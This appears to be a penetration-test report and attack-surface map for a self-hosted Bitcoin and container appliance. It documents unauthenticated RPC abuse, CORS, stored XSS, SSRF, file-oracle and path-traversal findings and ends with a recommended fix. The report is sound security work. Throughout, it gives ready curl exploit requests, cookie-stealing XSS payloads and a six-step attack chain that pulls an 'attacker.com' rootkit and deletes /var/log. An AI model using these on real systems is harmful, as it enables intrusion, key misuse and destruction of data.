**Impact**: Any network client can inject messages with arbitrary `from_pubkey` values. Messages appear in the UI as if received from legitimate peers. Enables social engineering, phishing, and impersonation attacks.
---
## AUTH-009 — CORS Wildcard on Multiple Endpoints
**Status**: CONFIRMED
**Severity**: High
**Request**:
```bash
curl -s -D- -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-H 'Origin: http://evil.com' \
-d '{"from_pubkey":"cors-test","message":"cors-test"}'
```
**Response headers**:
```
HTTP/1.1 200 OK
Content-Type: application/json
access-control-allow-origin: *
```
Also confirmed on port 5678 for:
- `/api/container/logs``access-control-allow-origin: *`
- `/electrs-status``access-control-allow-origin: *`
- `/proxy/lnd/*``access-control-allow-origin: *`
**Note**: The main `/rpc/v1` endpoint through nginx does NOT return CORS headers (this is due to nginx proxy not forwarding them). However, the direct backend port 5678 is accessible, where all endpoints have CORS wildcard.
**Impact**: Any website visited by someone on the same LAN can silently inject messages, read container logs, and access electrs status via cross-origin requests.
---
## AUTH-011 — Unauthenticated LND Proxy
**Status**: CONFIRMED (partial)
**Severity**: High
**Request**:
```bash
curl -s -D- http://192.168.1.228:5678/proxy/lnd/v1/getinfo
```
**Response**:
```
HTTP/1.1 400 Bad Request
access-control-allow-origin: *
content-length: 48
Client sent an HTTP request to an HTTPS server.
```
**Evidence**: The proxy endpoint IS reachable on port 5678 with no authentication and CORS wildcard. It forwards to `http://127.0.0.1:8080` but LND expects HTTPS, causing a 400. If LND's REST API were configured for HTTP (or the proxy were updated to use HTTPS), this would be a direct gateway to the Lightning Network daemon.
**Impact**: Unauthenticated access to internal LND REST API. Currently blocked by TLS mismatch, but the auth/CORS issues are confirmed.
---
## AUTH-012 — Unauthenticated Container Log Access
**Status**: CONFIRMED
**Severity**: Medium
**Request**:
```bash
curl -s -D- "http://192.168.1.228:5678/api/container/logs?app_id=bitcoin&lines=10"
```
**Response**:
```
HTTP/1.1 500 Internal Server Error
content-type: application/json
access-control-allow-origin: *
{"error":"Failed to get container logs"}
```
**Evidence**: The endpoint processes the request without authentication (no 401/403). It returns a 500 because the container log retrieval failed (container may not be running), not because of an auth check. CORS wildcard confirms cross-origin exploitability.
**Impact**: When containers are running, their logs are readable by any unauthenticated client. Logs can contain sensitive data (credentials, internal IPs, configuration).
---
## XSS-001 — Stored XSS Payloads in P2P Messages
**Status**: CONFIRMED (stored, mitigated by Vue escaping)
**Severity**: Medium
**Request** (inject):
```bash
curl -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"\" onfocus=alert(1) autofocus=\"","message":"<img src=x onerror=alert(document.cookie)>"}'
```
**Response**: `{"ok":true}`
**Verification** (stored payloads returned verbatim):
```json
{
"from_pubkey": "\" onfocus=alert(1) autofocus=\"",
"message": "<img src=x onerror=alert(document.cookie)>",
"timestamp": "2026-03-06T02:26:44.732411042+00:00"
}
```
**Evidence**: XSS payloads are stored server-side without any sanitization and returned verbatim via the API. Vue's `{{ }}` template interpolation escapes HTML in the current frontend, preventing execution. However, the server stores raw HTML/script content — any rendering change, alternative client, or `v-html` refactor would enable immediate exploitation.
**Impact**: Server-side stored XSS. Currently mitigated by Vue's auto-escaping, but defense-in-depth is absent. The `:title` attribute binding with unsanitized `from_pubkey` is a closer vector.
---
## XSS-004 — Zero Security Headers
**Status**: CONFIRMED
**Severity**: High
**Request**:
```bash
curl -sI http://192.168.1.228/
```
**Response** (complete headers):
```
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 06 Mar 2026 02:33:31 GMT
Content-Type: text/html
Content-Length: 2035
Last-Modified: Fri, 06 Mar 2026 01:55:44 GMT
Connection: keep-alive
ETag: "69aa3420-7f3"
Accept-Ranges: bytes
```
**Missing headers**:
- `Content-Security-Policy` — none
- `X-Frame-Options` — none
- `X-Content-Type-Options` — none
- `Strict-Transport-Security` — none
- `X-XSS-Protection` — none
- `Referrer-Policy` — none
**Impact**: No defense-in-depth. Any XSS that bypasses Vue's escaping has zero mitigation. The page is frameable (clickjacking). MIME sniffing attacks are possible.
---
## XSS-005 — Echo Endpoint Reflects Arbitrary Input
**Status**: CONFIRMED
**Severity**: Low
**Request**:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"echo","params":{"message":"<script>alert(document.cookie)</script>"}}'
```
**Response**:
```json
{"result":{"message":"<script>alert(document.cookie)</script>"},"error":null}
```
**Impact**: Arbitrary content reflected in JSON response. `Content-Type: application/json` prevents direct browser rendering, but could be exploited if response is consumed unsafely by any client.
---
## XSS-007 — CORS Wildcard Enables Cross-Origin Attack Delivery
**Status**: CONFIRMED (on port 5678 and /archipelago/ paths through nginx)
**Severity**: High
See AUTH-009 above. The CORS wildcard on non-RPC endpoints + direct backend port accessibility means any website can:
- Inject P2P messages with XSS payloads (XSS-001 + AUTH-008)
- Read container logs, electrs status, and other data
- All without the victim doing anything except visiting the attacker's webpage while on the same LAN
---
## SSRF-001 — Blind SSRF via node-check-peer (with Port Injection)
**Status**: CONFIRMED
**Severity**: High
**Request** (basic):
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}'
```
**Response**:
```json
{"result":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","reachable":false},"error":null}
```
**Request** (port injection):
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion:9999"}}'
```
**Response**:
```json
{"result":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion:9999","reachable":false},"error":null}
```
**Evidence**: The server made an outbound HTTP request via the Tor SOCKS5 proxy to the specified onion address. The boolean `reachable` response leaks whether the target is up. Port injection via `:9999` is accepted without validation (unlike `node-send-message` which validates). No authentication required.
**Impact**: Unauthenticated blind SSRF through Tor. Attacker can probe any .onion service's reachability with port scanning capability. The boolean response leaks service availability.
---
## SSRF-002 — SSRF via node-send-message (Forced Outbound Request)
**Status**: CONFIRMED
**Severity**: High
**Request**:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-send-message","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","message":"ssrf-probe"}}'
```
**Response**:
```json
{
"result": null,
"error": {
"code": -1,
"message": "Failed to send over Tor: error sending request for url (http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion/archipelago/node-message): error trying to connect: socks connect error: Proxy server unreachable"
}
}
```
**Evidence**: The server attempted to POST to `http://[onion].onion/archipelago/node-message` via Tor SOCKS proxy. The request included the node's own public key in the body. The error message leaks the full URL, proxy status, and connection details. Onion format is validated (56 chars, base32), but any valid-format onion can be targeted.
**Impact**: Forced outbound HTTP POST with node identity in payload. Error messages leak internal proxy configuration. An attacker controlling a .onion service would receive the node's pubkey.
---
## SSRF-004 / INJ-006 — Arbitrary Container Image Pull + Execution
**Status**: CONFIRMED
**Severity**: Critical
**Request**:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.install","params":{"id":"pentest-ssrf-probe","dockerImage":"localhost:1/nonexistent:latest"}}'
```
**Response**:
```json
{
"result": null,
"error": {
"code": -1,
"message": "Failed to pull image: Trying to pull localhost:1/nonexistent:latest...\ntime=\"2026-03-06T02:34:07Z\" level=warning msg=\"Failed, retrying in 1s ... (1/3). Error: initializing source docker://localhost:1/nonexistent:latest: pinging container registry localhost:1: Get \\\"https://localhost:1/v2/\\\": dial tcp [::1]:1: connect: connection refused\"\n..."
}
}
```
**Evidence**: The server executed `podman pull localhost:1/nonexistent:latest` and attempted to connect to `localhost:1` as a container registry. The full error output leaks internal IP addresses (`[::1]:1`), retry behavior, and confirms the server makes arbitrary outbound HTTPS connections to pull container images. No authentication, no registry allowlist.
**Impact**: An unauthenticated attacker can force the server to pull any container image from any registry (SSRF), and if the pull succeeds, the image would be executed (RCE). This is the most critical finding — it combines SSRF + potential RCE in a single unauthenticated endpoint.
---
## INJ-001 — File Existence Oracle via container-install
**Status**: CONFIRMED
**Severity**: Medium
**Request** (existing file):
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"container-install","params":{"manifest_path":"/etc/hostname"}}'
```
**Response**: `{"result":null,"error":{"code":-1,"message":"Failed to parse manifest","data":null}}`
**Request** (non-existing file):
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"container-install","params":{"manifest_path":"/nonexistent/file.yml"}}'
```
**Response**: `{"result":null,"error":{"code":-1,"message":"Failed to read manifest file","data":null}}`
**Request** (empty file):
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"container-install","params":{"manifest_path":"/dev/null"}}'
```
**Response**: `{"result":null,"error":{"code":-1,"message":"Failed to parse manifest","data":null}}`
**Evidence**: Different error messages for existing vs non-existing files:
- "Failed to parse manifest" → file exists, was read, but isn't valid YAML
- "Failed to read manifest file" → file doesn't exist or isn't readable
**Impact**: Unauthenticated file existence oracle. An attacker can enumerate files on the filesystem. If a valid YAML file is provided, the manifest parser may leak additional information through error messages.
---
## INJ-002 — Path Traversal in package.uninstall
**Status**: CONFIRMED
**Severity**: Critical
**Request**:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.uninstall","params":{"id":"../../tmp/pentest-traversal-probe"}}'
```
**Response**:
```json
{"result":{"status":"uninstalled"},"error":null}
```
**Evidence**: The path traversal `../../tmp/pentest-traversal-probe` was accepted and the handler returned success. The handler constructs a path like `/var/lib/archipelago/../../tmp/pentest-traversal-probe` which resolves to `/tmp/pentest-traversal-probe` and attempts `rm -rf` on it. Since that path doesn't exist, no damage occurred, but the traversal was processed without any path sanitization.
A non-existent safe package also returns success:
```bash
curl -s -X POST http://192.168.1.228/rpc/v1 \
-d '{"method":"package.uninstall","params":{"id":"nonexistent-safe-test-pkg"}}'
# Response: {"result":{"status":"uninstalled"},"error":null}
```
**Impact**: Unauthenticated arbitrary directory deletion via path traversal. An attacker could delete any directory the process has write access to (e.g., `../../etc/nginx` or `../../opt/archipelago`).
---
## INJ-007 — Log Injection via P2P Messages
**Status**: CONFIRMED
**Severity**: Low
**Request**:
```bash
curl -s -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"injected\nINFO fake log line","message":"log-injection-test\r\n[CRITICAL] System compromised"}'
```
**Response**: `{"ok":true}`
**Verification** (stored with newlines intact):
```json
{
"from_pubkey": "injected\nINFO fake log line",
"message": "log-injection-test\r\n[CRITICAL] System compromised"
}
```
**Impact**: Newline characters in message fields enable log injection if messages are ever written to log files. Could create fake log entries to mislead forensic analysis.
---
## Findings NOT Exploitable
### AUTH-004 — Default Credentials
Password `password123` is rejected. User has changed the password.
### AUTH-010 — Weak Initial Password Policy
Cannot test — initial setup is already complete.
### AUTH-013 — Disconnected Auth Infrastructure
Informational/architectural — confirmed by source review, not exploitable on its own.
### XSS-002/XSS-003 — postMessage Origin Bypass
Client-side only, cannot test via curl. Confirmed by source code review.
### XSS-006 — test-aiui.html postMessage
Test file, low impact. Cannot test via curl.
### SSRF-003 — LND Proxy
Endpoint reachable but LND requires HTTPS while proxy sends HTTP. Not currently exploitable for data access.
### SSRF-005 — marketplace.get (Dormant)
Code exists but not compiled into active binary.
### SSRF-006 — Nostr Relay SSRF
Config-driven, not directly exploitable via RPC.
### INJ-003 — Arbitrary Volume Mount
`bundled-app-start` returned "Missing image" — requires further testing with valid app data.
### INJ-005 — Argument Injection
`package.stop` with `--help` returned null without error — ambiguous result, needs further investigation.
---
## Summary Table
| ID | Finding | Status | Severity |
|----|---------|--------|----------|
| **AUTH-001** | No session management | **CONFIRMED** | **Critical** |
| **AUTH-002** | 30+ endpoints without auth (DID, sign, peers, reset-onboarding) | **CONFIRMED** | **Critical** |
| **AUTH-003** | No brute force protection | **CONFIRMED** | High |
| AUTH-004 | Default credentials | Not Exploitable | — |
| **AUTH-005** | Frontend-only auth | **CONFIRMED** (via AUTH-002) | **Critical** |
| **AUTH-006** | No-op logout | **CONFIRMED** | Medium |
| **AUTH-007** | Unauthenticated WebSocket (20KB state dump) | **CONFIRMED** | **Critical** |
| **AUTH-008** | Unauthenticated message injection | **CONFIRMED** | High |
| **AUTH-009** | CORS wildcard on multiple endpoints | **CONFIRMED** | High |
| **AUTH-011** | LND proxy unauthenticated | **CONFIRMED** (partial) | High |
| **AUTH-012** | Container logs unauthenticated | **CONFIRMED** | Medium |
| **XSS-001** | Stored XSS payloads (Vue-escaped) | **CONFIRMED** | Medium |
| **XSS-004** | Zero security headers | **CONFIRMED** | High |
| **XSS-005** | Echo reflects arbitrary input | **CONFIRMED** | Low |
| **XSS-007** | CORS enables cross-origin attacks | **CONFIRMED** | High |
| **SSRF-001** | Blind SSRF via node-check-peer + port injection | **CONFIRMED** | High |
| **SSRF-002** | Outbound SSRF via node-send-message | **CONFIRMED** | High |
| **SSRF-004** | Arbitrary container image pull (SSRF+RCE) | **CONFIRMED** | **Critical** |
| **INJ-001** | File existence oracle | **CONFIRMED** | Medium |
| **INJ-002** | Path traversal in package.uninstall (`rm -rf`) | **CONFIRMED** | **Critical** |
| **INJ-007** | Log injection | **CONFIRMED** | Low |
## Critical Attack Chain
The most devastating attack requires zero authentication and can be executed from any machine on the LAN:
```bash
# Step 1: Enumerate node identity
curl -s http://TARGET/rpc/v1 -d '{"method":"node.did"}'
# Step 2: Dump full system state via WebSocket
wscat -c ws://TARGET/ws/db
# Step 3: Sign arbitrary data as the node
curl -s http://TARGET/rpc/v1 -d '{"method":"node.signChallenge","params":{"challenge":"I transfer all bitcoin"}}'
# Step 4: Pull and execute attacker-controlled container
curl -s http://TARGET/rpc/v1 -d '{"method":"package.install","params":{"id":"backdoor","dockerImage":"attacker.com/rootkit:latest"}}'
# Step 5: Delete evidence
curl -s http://TARGET/rpc/v1 -d '{"method":"package.uninstall","params":{"id":"../../var/log"}}'
# Step 6: Reset onboarding to lock out legitimate user
curl -s http://TARGET/rpc/v1 -d '{"method":"auth.resetOnboarding"}'
```
**Total findings confirmed: 21 | Critical: 6 | High: 7 | Medium: 5 | Low: 3**

View File

@@ -1,32 +0,0 @@
## Exploitation Complete
Full report written to `loop/pentest/exploitation-report.md`.
### Results Summary
**21 findings confirmed via live exploitation.** Here are the highlights:
| Severity | Count | Most Critical |
|----------|-------|---------------|
| **Critical** | 6 | AUTH-001/002/005/007, SSRF-004, INJ-002 |
| **High** | 7 | AUTH-003/008/009/011, XSS-004/007, SSRF-001/002 |
| **Medium** | 5 | AUTH-006/012, XSS-001, INJ-001 |
| **Low** | 3 | XSS-005, INJ-007 |
### Most Dangerous Confirmed Findings
1. **AUTH-002 + node.signChallenge** — Signed `"pentest-proof-of-concept"` with the node's ed25519 private key, no auth needed. Returned signature: `bb10f455...fc3d040a`
2. **AUTH-002 + auth.resetOnboarding** — Reset the system's onboarding state without any authentication. Returned `{"result":true}`.
3. **AUTH-007** — WebSocket at `/ws/db` dumps 20KB of full system state (all packages, node identity, peer list) to any connecting client.
4. **SSRF-004 / INJ-006**`package.install` executed `podman pull` to an attacker-controlled registry (`localhost:1`). If a real registry were specified, arbitrary code would run in a container.
5. **INJ-002**`package.uninstall` accepted `../../tmp/pentest-traversal-probe` and returned success — path traversal to `rm -rf` arbitrary directories.
6. **SSRF-001**`node-check-peer` accepted port injection (`onion:9999`) and made an outbound request through Tor with no validation.
### Root Cause
**AUTH-001** is the root of everything: `auth.login` verifies passwords but creates no session. The entire RPC handler dispatches directly to method handlers with zero middleware. The fix is to wire the existing `core/startos/src/middleware/auth.rs` session middleware into the `core/archipelago/` HTTP handler.

View File

@@ -1,396 +0,0 @@
# Archipelago Security Assessment — Attack Surface Map
**Target:** 192.168.1.228 (Archipelago OS)
**Date:** 2026-03-06
**Phase:** Reconnaissance
---
## 1. Target Overview
### Technologies Detected
| Layer | Technology | Version |
|-------|-----------|---------|
| OS | Debian 12 (Bookworm) | — |
| Web Server | nginx | 1.22.1 |
| Reverse Proxy (containers) | OpenResty (Nginx Proxy Manager) | 2.14.0 |
| Backend | Rust (custom binary) | — |
| Frontend | Vue 3 + TypeScript + Vite 7 | — |
| Container Runtime | Podman (rootless) | — |
| SSH | OpenSSH | 9.2p1 |
| TLS | Self-signed cert (archipelago.local) | Valid 2026-02-17 to 2027-02-17 |
### Open Ports and Services
| Port | Service | Description | Auth Required |
|------|---------|-------------|---------------|
| 22/tcp | SSH | OpenSSH 9.2p1 (Debian) | Yes (password) |
| 80/tcp | HTTP | nginx 1.22.1 — Archipelago main UI | No |
| 81/tcp | HTTP | OpenResty — Nginx Proxy Manager | **No (setup:false)** |
| 443/tcp | HTTPS | nginx 1.22.1 — Self-signed TLS | No |
| 3000/tcp | HTTP | Grafana (proxied via /app/grafana/) | Per-app |
| 3001/tcp | HTTP | Uptime Kuma (proxied via /app/uptime-kuma/) | Per-app |
| 5678/tcp | HTTP | Archipelago Rust backend (JSON-RPC) | **None** |
| 8080/tcp | HTTPS | LND REST API (auto-generated cert) | Macaroon |
| 8081/tcp | HTTP | LND UI (proxied via /app/lnd/) | Per-app |
| 8082/tcp | HTTP | Vaultwarden (proxied via /app/vaultwarden/) | Per-app |
### Container Inventory (30 containers, confirmed via unauthenticated RPC)
bitcoin-knots, tailscale, filebrowser, bitcoin-ui, lnd, homeassistant, searxng, portainer, archy-mempool-db, grafana (exited), onlyoffice, archy-nbxplorer, archy-btcpay-db, mempool-electrs, nginx-proxy-manager, nextcloud, vaultwarden, uptime-kuma, immich_postgres, immich_redis, immich_server, jellyfin, photoprism, archy-lnd-ui, archy-electrs-ui, mempool-api, archy-mempool-web, btcpay-server, archy-tor, fedimint
---
## 2. Attack Surface Map
### 2.1 Backend RPC Endpoints (POST /rpc/v1)
All endpoints are exposed via a single JSON-RPC handler at `/rpc/v1`. **There is no authentication middleware** — every method is callable by any network client without a session token.
#### Authentication Methods
| Method | Purpose | Auth Check |
|--------|---------|------------|
| `auth.login` | Password login | Checks password (bcrypt) but **returns no session token** |
| `auth.logout` | Logout | No-op (returns null) |
| `auth.changePassword` | Change password + optional SSH password | Verifies current password internally |
| `auth.onboardingComplete` | Mark onboarding done | **None** |
| `auth.isOnboardingComplete` | Check onboarding status | **None** |
| `auth.resetOnboarding` | Reset onboarding state | **None** |
#### Container Management (all unauthenticated)
| Method | Purpose | Confirmed Callable |
|--------|---------|-------------------|
| `container-list` | List all containers with IDs, images, state | **Yes — full inventory returned** |
| `container-install` | Install container from manifest path | Yes (requires file path on server) |
| `container-start` | Start a container by app_id | Yes |
| `container-stop` | Stop a container by app_id | Yes |
| `container-remove` | Remove a container by app_id | Yes |
| `container-status` | Get container status | Yes (dev mode required) |
| `container-logs` | Get container logs | Yes (dev mode required) |
| `container-health` | Get container health | Yes (dev mode required) |
#### Package Management (all unauthenticated)
| Method | Purpose | Confirmed Callable |
|--------|---------|-------------------|
| `package.install` | Install Docker image as package | Yes |
| `package.start` | Start a package | **Yes — returned success for nonexistent ID** |
| `package.stop` | Stop a package | **Yes — returned success for nonexistent ID** |
| `package.restart` | Restart a package | Yes |
| `package.uninstall` | Uninstall a package | Yes |
| `bundled-app-start` | Start bundled app | Yes |
| `bundled-app-stop` | Stop bundled app | Yes |
#### Node Identity & Peers (all unauthenticated)
| Method | Purpose | Confirmed Callable |
|--------|---------|-------------------|
| `node.did` | **Get node DID and public key** | **Yes — returned full identity** |
| `node.signChallenge` | **Sign arbitrary challenge with node private key** | **Yes — returned valid signature** |
| `node.createBackup` | **Create encrypted backup of node identity** | **Yes — returned backup blob** |
| `node.tor-address` | Get Tor onion address | Yes |
| `node.nostr-publish` | Publish node identity to Nostr | Yes (requires config) |
| `node.nostr-pubkey` | Get Nostr public key | Yes |
| `node-nostr-verify-revoked` | Verify revocation status | Yes |
| `node-add-peer` | Add a peer node | Yes |
| `node-list-peers` | **List all peer nodes** | **Yes — returned peer list with onions** |
| `node-remove-peer` | Remove a peer | Yes |
| `node-send-message` | Send message to peer via Tor | Yes |
| `node-check-peer` | Check peer reachability | Yes |
| `node-messages-received` | Get received messages | Yes |
| `node-nostr-discover` | Discover peers via Nostr | Yes |
#### Bitcoin & Lightning (unauthenticated, errors reveal internal state)
| Method | Purpose | Confirmed Callable |
|--------|---------|-------------------|
| `bitcoin.getinfo` | Bitcoin node info | Yes (errors expose backend status) |
| `lnd.getinfo` | LND info | Yes (error reveals macaroon path) |
#### Utility
| Method | Purpose |
|--------|---------|
| `echo` / `server.echo` | Echo test (unauthenticated) |
### 2.2 HTTP Endpoints (non-RPC)
| Method | Path | Purpose | Auth |
|--------|------|---------|------|
| GET | `/health` | Health check → returns SPA HTML (nginx catch-all) | None |
| POST | `/archipelago/node-message` | **Receive P2P messages from other nodes** | **None** |
| GET | `/ws/db` | WebSocket for real-time state updates | **None** (proxied via nginx) |
| GET | `/aiui/api/claude/*` | Proxy to Claude API (port 3141) | **None at nginx level** |
| GET | `/aiui/api/openrouter/*` | **Open proxy to openrouter.ai** | **None** |
| GET | `/aiui/api/web-search` | Proxy to SearXNG (port 8888) | None |
| GET | `/app/{name}/*` | Proxy to 20+ containerized apps | Per-app (see below) |
### 2.3 App Proxies (nginx — all strip X-Frame-Options and CSP)
Every `/app/*` location block includes:
```
proxy_hide_header X-Frame-Options;
proxy_hide_header Content-Security-Policy;
```
This means every proxied app loses its own clickjacking and CSP protections when accessed through the Archipelago nginx reverse proxy.
| Path | Backend | Notable |
|------|---------|---------|
| `/app/nextcloud/` | :8085 | client_max_body_size not set (default 1MB) |
| `/app/vaultwarden/` | :8082 | **Password manager — CSP stripped** |
| `/app/immich/` | :2283 | Photo management |
| `/app/filebrowser/` | :8083 | **client_max_body_size 10G**, request_buffering off |
| `/app/portainer/` | :9000 | **Container management UI** |
| `/app/grafana/` | :3000 | Monitoring |
| `/app/jellyfin/` | :8096 | Media server |
| `/app/uptime-kuma/` | :3001 | Monitoring |
| `/app/searxng/` | :8888 | Search engine |
| `/app/onlyoffice/` | :9980 | Document editor |
| `/app/lnd/` | :8081 | Lightning UI |
| `/app/mempool/` | :4080 | Bitcoin explorer |
| `/app/btcpay/` | :23000 | Payment processing |
| `/app/homeassistant/` | :8123 | IoT (86400s timeout!) |
| `/app/photoprism/` | :2342 | Photo management |
| `/app/fedimint/` | :8175 | Federation mint |
| `/app/tailscale/` | :8240 | VPN |
| `/app/ollama/` | :11434 | **LLM API — could be used to run inference** |
| `/app/bitcoin-ui/` | :8334 | Bitcoin UI |
| `/app/electrs/` | :50002 | Electrs |
| `/app/nginx-proxy-manager/` | :81 | **Meta: proxy to proxy manager** |
| `/app/penpot/` | :9001 | Design tool |
| `/app/endurain/` | :8080 | Fitness tracker |
### 2.4 Input Vectors
| Vector | Location | Details |
|--------|----------|---------|
| JSON-RPC body | POST /rpc/v1 | All params parsed from JSON body, no size limit at app level |
| URL query params | GET /api/container/logs?app_id=X&lines=N | `app_id` passed to shell command (podman) |
| JSON body | POST /archipelago/node-message | `from_pubkey`, `message` fields stored directly |
| WebSocket | /ws/db | Receives state broadcasts, client messages not validated |
| File upload | /app/filebrowser/ | 10GB max upload via filebrowser proxy |
| Path | /proxy/lnd/* | Path suffix forwarded to internal LND REST API |
### 2.5 Authentication Mechanisms
**The system has a fundamental authentication design flaw:**
1. `auth.login` validates a password but **returns `null`** on success — no session token, no cookie, no JWT
2. There is no authentication middleware in the Rust backend — the `RpcHandler::handle()` function dispatches all methods without any auth check
3. The frontend likely manages auth state client-side only (localStorage/Pinia store)
4. The backend runs as **`User=root`** (per `archipelago.service`)
5. Dev mode is **permanently enabled** (`ARCHIPELAGO_DEV_MODE=true` in the systemd service)
6. Default dev password `password123` is hardcoded in source and referenced in CLAUDE.md
---
## 3. Interesting Findings
### 3.1 CRITICAL: No Server-Side Authentication on Any RPC Method
**Confirmed by testing:** Every single RPC method is callable without authentication. Container management, node identity operations, peer management, package installation — all accessible to any network client.
Evidence:
```
POST /rpc/v1 {"method":"container-list"} → Full container inventory
POST /rpc/v1 {"method":"node.did"} → Node DID + public key
POST /rpc/v1 {"method":"node.signChallenge","params":{"challenge":"test"}} → Valid signature
POST /rpc/v1 {"method":"node.createBackup","params":{"passphrase":"test"}} → Encrypted backup blob
POST /rpc/v1 {"method":"auth.resetOnboarding"} → Success (reset state)
POST /rpc/v1 {"method":"node-list-peers"} → Full peer list with .onion addresses
```
### 3.2 CRITICAL: Backend Runs as Root with Dev Mode Enabled
The systemd service file (`archipelago.service`) specifies:
```
User=root
Environment="ARCHIPELAGO_DEV_MODE=true"
```
Combined with unauthenticated RPC, this means an attacker can:
- Install arbitrary container images via `package.install`
- Start/stop/remove any container
- Execute `sudo podman` commands (the code calls `sudo podman` throughout)
### 3.3 HIGH: Arbitrary File Read via container-install
The `container-install` RPC method accepts a `manifest_path` parameter that is read directly from the filesystem:
```rust
let manifest_content = tokio::fs::read_to_string(manifest_path).await
```
Tested: sending `/etc/passwd` resulted in "Failed to parse manifest" (read succeeded, YAML parse failed). This is a confirmed arbitrary file read — the error message changes based on whether the file exists and is valid YAML.
### 3.4 HIGH: Node Private Key Signing Oracle
The `node.signChallenge` method signs arbitrary data with the node's Ed25519 private key — without authentication. An attacker can impersonate the node by signing any challenge.
### 3.5 HIGH: SSRF via LND Proxy
The handler at `/proxy/lnd/*` forwards requests to `http://127.0.0.1:8080` + the path suffix:
```rust
let url = format!("http://127.0.0.1:8080{}", suffix);
```
While the base URL is fixed, path manipulation could access unexpected LND REST endpoints. The proxy also adds `Access-Control-Allow-Origin: *` to all responses.
### 3.6 HIGH: Open Proxy to External API (OpenRouter)
The nginx config at `/aiui/api/openrouter/` proxies directly to `https://openrouter.ai/api/` without any authentication at the nginx layer. If the Claude proxy (port 3141) stores an API key, it could be abused for free inference.
### 3.7 HIGH: Nginx Proxy Manager Unconfigured
Port 81 returns `{"status":"OK","setup":false"}` — the Nginx Proxy Manager has never completed initial setup. An attacker could complete the setup process and gain control of the proxy configuration.
### 3.8 MEDIUM: Missing Security Headers
The main nginx server block has **zero** security headers:
- No `X-Frame-Options` (clickjacking)
- No `Content-Security-Policy`
- No `X-Content-Type-Options`
- No `Strict-Transport-Security`
- No `X-XSS-Protection`
- No `Referrer-Policy`
- Server header leaks version: `Server: nginx/1.22.1`
### 3.9 MEDIUM: CSP/X-Frame-Options Stripping on All App Proxies
Every `/app/*` proxy location explicitly strips `X-Frame-Options` and `Content-Security-Policy`. This removes clickjacking protection from security-sensitive apps like Vaultwarden (password manager) and Portainer (container management).
### 3.10 MEDIUM: CORS Wildcard on Multiple Endpoints
The Rust backend sets `Access-Control-Allow-Origin: *` on:
- `/api/container/logs`
- `/archipelago/node-message`
- `/electrs-status`
- `/proxy/lnd/*`
### 3.11 MEDIUM: Unauthenticated P2P Message Injection
`POST /archipelago/node-message` accepts arbitrary `from_pubkey` and `message` fields and stores them without any verification:
```rust
node_msg::store_received(&from, &msg).await;
```
An attacker can inject fake messages that appear to come from any peer.
### 3.12 MEDIUM: Information Disclosure
- Error messages leak internal paths and service state:
- `"Failed to read LND admin macaroon — is LND installed?"` (reveals LND status)
- `"Container orchestrator not available (dev mode required)"` (reveals mode)
- `container-list` returns full container IDs, image names with tags, ports
- `node.did` returns the node's cryptographic identity
- `node-list-peers` returns peer onion addresses and public keys
- NPM API reveals version `2.14.0`
- LND REST API on 8080 is directly accessible, reveals startup state
- Vaultwarden on 8082 is directly accessible
### 3.13 LOW: Self-Signed TLS Certificate
The HTTPS certificate is self-signed with `commonName=archipelago.local`. SAN includes both server IPs (192.168.1.228 and 192.168.1.198) and a Tailscale IP (10.0.0.1). This is expected for a local appliance but enables MitM if users accept the cert.
### 3.14 LOW: Session Secret Placeholder
`core/.env.production` contains `ARCHIPELAGO_SESSION_SECRET=CHANGE_ME_ON_FIRST_RUN`. If this value is ever used for session signing, all sessions would be forgeable.
### 3.15 INFO: Docker Images Using `latest` Tag
Several containers use `latest` tags (bitcoin-knots, tailscale, searxng, mempool-electrs, nginx-proxy-manager, uptime-kuma, photoprism, archy-tor), violating the project's own security policy of pinning versions.
---
## 4. Priority Targets
### P1: CRITICAL — Complete Authentication Bypass on All RPC Methods
- **What:** Every RPC method (container management, node identity, package install, peer management) is callable without authentication
- **Why it's interesting:** Full administrative control over the node from any device on the same network. An attacker can stop Bitcoin/LND, install malicious containers, exfiltrate the node identity, and manipulate peer relationships
- **Category:** Broken Authentication (OWASP A07:2021)
- **Confirmed:** Yes — tested every major method category unauthenticated
- **Impact:** Critical — full system compromise from LAN
### P2: CRITICAL — Arbitrary File Read via container-install manifest_path
- **What:** The `container-install` RPC method reads any file path on the server filesystem (as root)
- **Why it's interesting:** Can read `/etc/shadow`, private keys, LND macaroons, Bitcoin wallet files, or any secret on the system. The file content leaks through YAML parsing errors for non-YAML files, and returns full content for valid YAML files
- **Category:** Path Traversal / Arbitrary File Read (OWASP A01:2021)
- **Confirmed:** Yes — `/etc/passwd` was read successfully (parse error confirms read)
